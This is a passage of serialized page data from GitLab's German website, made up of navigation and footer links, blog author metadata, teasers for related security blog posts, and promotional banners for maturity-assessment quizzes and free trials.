relations",{"text":1054,"config":1055},"Trust Center",{"href":1056,"dataGaName":1057,"dataGaLocation":750},"/de-de/security/","trust center",{"text":1059,"config":1060},"AI Transparency Center",{"href":1061,"dataGaName":1062,"dataGaLocation":750},"/de-de/ai-transparency-center/","ai transparency center",{"text":1064,"config":1065},"Newsletter",{"href":1066,"dataGaName":1067,"dataGaLocation":750},"/company/contact/#contact-forms","newsletter",{"text":1069,"config":1070},"Presse",{"href":1071,"dataGaName":1072,"dataGaLocation":750},"/press/","press",{"text":1074,"config":1075,"menu":1076},"Kontakt",{"dataNavLevelOne":1020},{"type":801,"columns":1077},[1078],{"items":1079},[1080,1085,1090],{"text":1081,"config":1082},"Vertrieb kontaktieren",{"href":1083,"dataGaName":1084,"dataGaLocation":750},"/de-de/sales/","talk to sales",{"text":1086,"config":1087},"Support-Portal",{"href":1088,"dataGaName":1089,"dataGaLocation":750},"https://support.gitlab.com/hc/en-us","support portal",{"text":1091,"config":1092},"Kundenportal",{"href":1093,"dataGaName":1094,"dataGaLocation":750},"https://customers.gitlab.com/customers/sign_in/","customer portal",{"close":1096,"login":1097,"suggestions":1104},"Schließen",{"text":1098,"link":1099},"Um Repositorys und Projekte zu durchsuchen, melde dich an bei",{"text":1100,"config":1101},"gitlab.com",{"href":764,"dataGaName":1102,"dataGaLocation":1103},"search login","search",{"text":1105,"default":1106},"Vorschläge",[1107,1109,1114,1116,1121,1126],{"text":781,"config":1108},{"href":786,"dataGaName":781,"dataGaLocation":1103},{"text":1110,"config":1111},"Codevorschläge (KI)",{"href":1112,"dataGaName":1113,"dataGaLocation":1103},"/de-de/solutions/code-suggestions/","Code Suggestions (AI)",{"text":817,"config":1115},{"href":819,"dataGaName":817,"dataGaLocation":1103},{"text":1117,"config":1118},"GitLab auf AWS",{"href":1119,"dataGaName":1120,"dataGaLocation":1103},"/de-de/partners/technology-partners/aws/","GitLab on AWS",{"text":1122,"config":1123},"GitLab auf Google Cloud",{"href":1124,"dataGaName":1125,"dataGaLocation":1103},"/de-de/partners/technology-partners/google-cloud-platform/","GitLab on Google Cloud",{"text":789,"config":1127},{"href":794,"dataGaName":1128,"dataGaLocation":1103},"Why GitLab?",{"freeTrial":1130,"mobileIcon":1135,"desktopIcon":1140,"secondaryButton":1143},{"text":1131,"config":1132},"Kostenlos testen",{"href":1133,"dataGaName":755,"dataGaLocation":1134},"https://gitlab.com/-/trials/new/","nav",{"altText":1136,"config":1137},"GitLab-Symbol",{"src":1138,"dataGaName":1139,"dataGaLocation":1134},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203874/jypbw1jx72aexsoohd7x.svg","gitlab icon",{"altText":1136,"config":1141},{"src":1142,"dataGaName":1139,"dataGaLocation":1134},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203875/gs4c8p8opsgvflgkswz9.svg",{"text":914,"config":1144},{"href":1145,"dataGaName":1146,"dataGaLocation":1134},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/de-de/get-started/","get started",{"freeTrial":1148,"mobileIcon":1152,"desktopIcon":1154},{"text":1149,"config":1150},"Mehr über GitLab Duo erfahren",{"href":786,"dataGaName":1151,"dataGaLocation":1134},"gitlab duo",{"altText":1136,"config":1153},{"src":1138,"dataGaName":1139,"dataGaLocation":1134},{"altText":1136,"config":1155},{"src":1142,"dataGaName":1139,"dataGaLocation":1134},{"button":1157,"mobileIcon":1162,"desktopIcon":1164},{"text":1158,"config":1159},"/Option",{"href":1160,"dataGaName":1161,"dataGaLocation":1134},"#contact","switch",{"altText":1136,"config":1163},{"src":1138,"dataGaName":1139,"dataGaLocation":1134},{"altText":1136,"config":1165},{"src":1166,"dataGaName":1139,"dataGaLocation":1134},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1773335277/ohhpiuoxoldryzrnhfrh.png",{"freeTrial":1168,"mobileIcon":1173,"desktopIcon":1175},{"text":1169,"config":1170},"Zurück zur Preisübersicht",{"href":901,"dataGaName":1171,"dataGaLocation":1134,"icon":1172},"back to pricing","GoBack",{"altText":1136,"config":1174},{"src":1138,"dataGaName":1139,"dataGaLocation":1134},{"altText":1136,"config":1176},{"src":1142,"dataGaName":1139,"dataGaLocation":1134},{"title":1178,"button":1179,"config":1183},"GitLab Orbit ist da: die Kontextebene für KI-Agenten",{"text":792,"config":1180},{"href":1181,"dataGaName":1182,"dataGaLocation":750},"/de-de/gitlab-orbit/","orbit",{"layout":1184,"disabled":738},"release",{"data":1186},{"text":1187,"source":1188,"edit":1194,"contribute":1199,"config":1204,"items":1209,"minimal":1414},"Git ist eine Marke von Software Freedom Conservancy und unsere Verwendung von „GitLab“ erfolgt unter Lizenz.",{"text":1189,"config":1190},"Quelltext der Seite anzeigen",{"href":1191,"dataGaName":1192,"dataGaLocation":1193},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/","page source","footer",{"text":1195,"config":1196},"Diese Seite bearbeiten",{"href":1197,"dataGaName":1198,"dataGaLocation":1193},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/content/","web ide",{"text":1200,"config":1201},"Beteilige dich",{"href":1202,"dataGaName":1203,"dataGaLocation":1193},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/CONTRIBUTING.md/","please contribute",{"twitter":1205,"facebook":1206,"youtube":1207,"linkedin":1208},"https://twitter.com/gitlab","https://www.facebook.com/gitlab","https://www.youtube.com/channel/UCnMGQ8QHMAnVIsI3xJrihhg","https://www.linkedin.com/company/gitlab-com",[1210,1255,1308,1349,1381],{"title":899,"links":1211,"subMenu":1226},[1212,1216,1221],{"text":1213,"config":1214},"Tarife anzeigen",{"href":901,"dataGaName":1215,"dataGaLocation":1193},"view plans",{"text":1217,"config":1218},"Vorteile von Premium",{"href":1219,"dataGaName":1220,"dataGaLocation":1193},"/de-de/pricing/premium/","why premium",{"text":1222,"config":1223},"Vorteile von Ultimate",{"href":1224,"dataGaName":1225,"dataGaLocation":1193},"/de-de/pricing/ultimate/","why ultimate",[1227],{"title":1074,"links":1228},[1229,1231,1233,1235,1240,1245,1250],{"text":1081,"config":1230},{"href":1083,"dataGaName":760,"dataGaLocation":1193},{"text":1086,"config":1232},{"href":1088,"dataGaName":1089,"dataGaLocation":1193},{"text":1091,"config":1234},{"href":1093,"dataGaName":1094,"dataGaLocation":1193},{"text":1236,"config":1237},"Status",{"href":1238,"dataGaName":1239,"dataGaLocation":1193},"https://status.gitlab.com/","status",{"text":1241,"config":1242},"Nutzungsbedingungen",{"href":1243,"dataGaName":1244,"dataGaLocation":1193},"/terms/","terms of use",{"text":1246,"config":1247},"Datenschutzerklärung",{"href":1248,"dataGaName":1249,"dataGaLocation":1193},"/de-de/privacy/","privacy statement",{"text":1251,"config":1252},"Cookie-Einstellungen",{"dataGaName":1253,"dataGaLocation":1193,"id":1254,"isOneTrustButton":733},"cookie preferences","ot-sdk-btn",{"title":797,"links":1256,"subMenu":1265},[1257,1261],{"text":1258,"config":1259},"DevSecOps-Plattform",{"href":779,"dataGaName":1260,"dataGaLocation":1193},"devsecops platform",{"text":1262,"config":1263},"KI-unterstützte Entwicklung",{"href":786,"dataGaName":1264,"dataGaLocation":1193},"ai-assisted development",[1266],{"title":1267,"links":1268},"Themen",[1269,1273,1278,1283,1288,1293,1298,1303],{"text":817,"config":1270},{"href":1271,"dataGaName":1272,"dataGaLocation":1193},"/de-de/topics/ci-cd/","cicd",{"text":1274,"config":1275},"GitOps",{"href":1276,"dataGaName":1277,"dataGaLocation":1193},"/de-de/topics/gitops/","gitops",{"text":1279,"config":1280},"DevOps",{"href":1281,"dataGaName":1282,"dataGaLocation":1193},"/de-de/topics/devops/","devops",{"text":1284,"config":1285},"Versionskontrolle",{"href":1286,"dataGaName":1287,"dataGaLocation":1193},"/de-de/topics/version-control/","version control",{"text":1289,"config":1290},"DevSecOps",{"href":1291,"dataGaName":1292,"dataGaLocation":1193},"/de-de/topics/devsecops/","devsecops",{"text":1294,"config":1295},"Cloud-nativ",{"href":1296,"dataGaName":1297,"dataGaLocation":1193},"/de-de/topics/cloud-native/","cloud native",{"text":1299,"config":1300},"KI für das Programmieren",{"href":1301,"dataGaName":1302,"dataGaLocation":1193},"/de-de/topics/devops/ai-for-coding/","ai for coding",{"text":1304,"config":1305},"Agentische KI",{"href":1306,"dataGaName":1307,"dataGaLocation":1193},"/de-de/topics/agentic-ai/","agentic ai",{"title":1309,"links":1310},"Lösungen",[1311,1313,1315,1320,1324,1327,1330,1333,1335,1337,1339,1344],{"text":842,"config":1312},{"href":837,"dataGaName":623,"dataGaLocation":1193},{"text":829,"config":1314},{"href":813,"dataGaName":814,"dataGaLocation":1193},{"text":1316,"config":1317},"Agile Entwicklung",{"href":1318,"dataGaName":1319,"dataGaLocation":1193},"/de-de/solutions/agile-delivery/","agile delivery",{"text":1321,"config":1322},"SCM",{"href":826,"dataGaName":1323,"dataGaLocation":1193},"source code management",{"text":817,"config":1325},{"href":819,"dataGaName":1326,"dataGaLocation":1193},"continuous integration & delivery",{"text":868,"config":1328},{"href":870,"dataGaName":1329,"dataGaLocation":1193},"value stream management",{"text":1274,"config":1331},{"href":1332,"dataGaName":1277,"dataGaLocation":1193},"/de-de/solutions/gitops/",{"text":881,"config":1334},{"href":884,"dataGaName":885,"dataGaLocation":1193},{"text":887,"config":1336},{"href":890,"dataGaName":891,"dataGaLocation":1193},{"text":893,"config":1338},{"href":896,"dataGaName":897,"dataGaLocation":1193},{"text":1340,"config":1341},"Bildungswesen",{"href":1342,"dataGaName":1343,"dataGaLocation":1193},"/de-de/solutions/education/","education",{"text":1345,"config":1346},"Finanzdienstleistungen",{"href":1347,"dataGaName":1348,"dataGaLocation":1193},"/de-de/solutions/finance/","financial services",{"title":904,"links":1350},[1351,1353,1355,1357,1360,1362,1365,1367,1369,1371,1373,1375,1377,1379],{"text":917,"config":1352},{"href":919,"dataGaName":920,"dataGaLocation":1193},{"text":922,"config":1354},{"href":924,"dataGaName":925,"dataGaLocation":1193},{"text":927,"config":1356},{"href":929,"dataGaName":930,"dataGaLocation":1193},{"text":932,"config":1358},{"href":934,"dataGaName":1359,"dataGaLocation":1193},"docs",{"text":955,"config":1361},{"href":957,"dataGaName":958,"dataGaLocation":1193},{"text":1363,"config":1364},"Neuerungen",{"href":1015,"dataGaName":1016,"dataGaLocation":1193},{"text":950,"config":1366},{"href":952,"dataGaName":953,"dataGaLocation":1193},{"text":969,"config":1368},{"href":971,"dataGaName":972,"dataGaLocation":1193},{"text":977,"config":1370},{"href":979,"dataGaName":980,"dataGaLocation":1193},{"text":982,"config":1372},{"href":984,"dataGaName":985,"dataGaLocation":1193},{"text":987,"config":1374},{"href":989,"dataGaName":990,"dataGaLocation":1193},{"text":992,"config":1376},{"href":994,"dataGaName":995,"dataGaLocation":1193},{"text":997,"config":1378},{"href":999,"dataGaName":1000,"dataGaLocation":1193},{"text":1002,"config":1380},{"href":1004,"dataGaName":1005,"dataGaLocation":1193},{"title":1018,"links":1382},[1383,1385,1387,1389,1391,1393,1398,1403,1405,1407,1409],{"text":1026,"config":1384},{"href":1028,"dataGaName":1020,"dataGaLocation":1193},{"text":1031,"config":1386},{"href":1033,"dataGaName":1034,"dataGaLocation":1193},{"text":1039,"config":1388},{"href":1041,"dataGaName":1042,"dataGaLocation":1193},{"text":1044,"config":1390},{"href":1046,"dataGaName":1047,"dataGaLocation":1193},{"text":1049,"config":1392},{"href":1051,"dataGaName":1052,"dataGaLocation":1193},{"text":1394,"config":1395},"Nachhaltigkeit",{"href":1396,"dataGaName":1397,"dataGaLocation":1193},"/sustainability/","Sustainability",{"text":1399,"config":1400},"Vielfalt, Inklusion und Zugehörigkeit",{"href":1401,"dataGaName":1402,"dataGaLocation":1193},"/de-de/diversity-inclusion-belonging/","Diversity, inclusion and belonging",{"text":1054,"config":1404},{"href":1056,"dataGaName":1057,"dataGaLocation":1193},{"text":1064,"config":1406},{"href":1066,"dataGaName":1067,"dataGaLocation":1193},{"text":1069,"config":1408},{"href":1071,"dataGaName":1072,"dataGaLocation":1193},{"text":1410,"config":1411},"Transparenzerklärung zu moderner Sklaverei",{"href":1412,"dataGaName":1413,"dataGaLocation":1193},"https://handbook.gitlab.com/handbook/legal/modern-slavery-act-transparency-statement/","modern slavery transparency statement",{"items":1415},[1416,1419,1422],{"text":1417,"config":1418},"Terms",{"href":1243,"dataGaName":1244,"dataGaLocation":1193},{"text":1420,"config":1421},"Cookies",{"dataGaName":1253,"dataGaLocation":1193,"id":1254,"isOneTrustButton":733},{"text":1423,"config":1424},"Datenschutz",{"href":1248,"dataGaName":1249,"dataGaLocation":1193},[1426],{"id":1427,"title":7,"body":732,"config":1428,"content":1430,"description":732,"extension":1434,"meta":1435,"navigation":733,"path":1436,"seo":1437,"stem":1438,"__hash__":1439},"blogAuthors/en-us/blog/authors/michael-henriksen.yml",{"template":1429},"BlogAuthor",{"name":7,"config":1431},{"headshot":1432,"ctfId":1433},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1749659488/Blog/Author%20Headshots/gitlab-logo-extra-whitespace.png","3DmojnawcJFqAgoNMCpFTX","yml",{},"/en-us/blog/authors/michael-henriksen",{},"en-us/blog/authors/michael-henriksen","dTL4-g73rNy2nzSawJkuBZzClePkjmBsk3b5cEkIceg",[1441,1449,1457],{"title":1442,"description":1443,"heroImage":1444,"category":728,"date":1445,"authors":1446,"slug":1448,"externalUrl":732},"Wie GitLab Schwachstellen über Refactorings hinweg verfolgt","Das verbesserte Scope+Offset-Fingerprinting hält das Tracking stabil, wenn Kommentare, Leerzeilen oder Reformatierungen dazukommen.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1759320418/xjmqcozxzt4frx0hori3.png","2026-08-12",[1447],"Julian Thome","improved-scope-offset-fingerprinting",{"title":1450,"description":1451,"heroImage":1444,"category":728,"date":1452,"authors":1453,"slug":1456,"externalUrl":732},"GitLab Secrets Manager unterstützt ESO, Terraform und API","GitLab Secrets Manager liefert Secrets sicher an Kubernetes, Terraform und externe Workflows, aus einer einzigen Quelle für die gesamte Toolchain.","2026-08-06",[1454,1455],"Erick Bajao","Joe Randazzo","gitlab-secrets-manager-add-eso-terraform-api-support",{"title":1458,"description":1459,"heroImage":1460,"category":728,"date":1461,"authors":1462,"slug":1464,"externalUrl":732},"Mit Claude und GitLab jeden Commit bis zur Produktion absichern","Claude Security findet Schwachstellen in der Coding-Session. GitLab übernimmt danach: Scans, Policy-Durchsetzung und Audit-Nachweise im Lebenszyklus.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1756122536/akivvcnafog9c4dhhzkp.png","2026-08-03",[1463],"Alisa Ho","claude-security-and-gitlab",{"promotions":1466},[1467,1481,1492,1503],{"id":1468,"categories":1469,"header":1471,"text":1472,"button":1473,"image":1478},"ai-modernization",[1470],"ai","Hält KI, was uns versprochen wurde?","Das Quiz dauert maximal 5 Minuten.",{"text":1474,"config":1475},"Ermittle deinen KI-Reifegrad",{"href":1476,"dataGaName":1477,"dataGaLocation":958},"/de-de/assessments/ai-modernization-assessment/","modernization assessment",{"config":1479},{"src":1480},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138786/qix0m7kwnd8x2fh1zq49.png",{"id":1482,"categories":1483,"header":1484,"text":1472,"button":1485,"image":1489},"devops-modernization",[742,1292],"Verwaltest du Tool-Chaos oder stellst du Innovationen bereit?",{"text":1486,"config":1487},"Ermittle deinen DevOps-Reifegrad",{"href":1488,"dataGaName":1477,"dataGaLocation":958},"/de-de/assessments/devops-modernization-assessment/",{"config":1490},{"src":1491},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138785/eg818fmakweyuznttgid.png",{"id":1493,"categories":1494,"header":1495,"text":1472,"button":1496,"image":1500},"security-modernization",[728],"Tauschst du Schnelligkeit gegen Sicherheit ein?",{"text":1497,"config":1498},"Ermittle deinen Sicherheitsreifegrad",{"href":1499,"dataGaName":1477,"dataGaLocation":958},"/de-de/assessments/security-modernization-assessment/",{"config":1501},{"src":1502},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138786/p4pbqd9nnjejg5ds6mdk.png",{"id":1504,"paths":1505,"header":1508,"text":1509,"button":1510,"image":1515},"github-azure-migration",[1506,1507],"migration-from-azure-devops-to-gitlab","integrating-azure-devops-scm-and-gitlab","Ist dein Team bereit für den Umzug von GitHub nach Azure?","GitHub stellt bereits auf Azure um. Finde heraus, was das für dich bedeutet.",{"text":1511,"config":1512},"Erfahre, wie GitLab im Vergleich zu GitHub abschneidet",{"href":1513,"dataGaName":1514,"dataGaLocation":958},"/de-de/compare/gitlab-vs-github/github-azure-migration/","github azure migration",{"config":1516},{"src":1491},{"header":1518,"blurb":1519,"button":1520,"secondaryButton":1525},"Beginne noch heute, schneller zu entwickeln","Entdecke, was dein Team mit der intelligenten Orchestrierungsplattform für DevSecOps erreichen kann.\n",{"text":1521,"config":1522},"Kostenlosen Test starten",{"href":1523,"dataGaName":755,"dataGaLocation":1524},"https://gitlab.com/-/trial_registrations/new?glm_content=default-saas-trial&glm_source=about.gitlab.com/de-de/","feature",{"text":1081,"config":1526},{"href":1083,"dataGaName":760,"dataGaLocation":1524},1786803749223]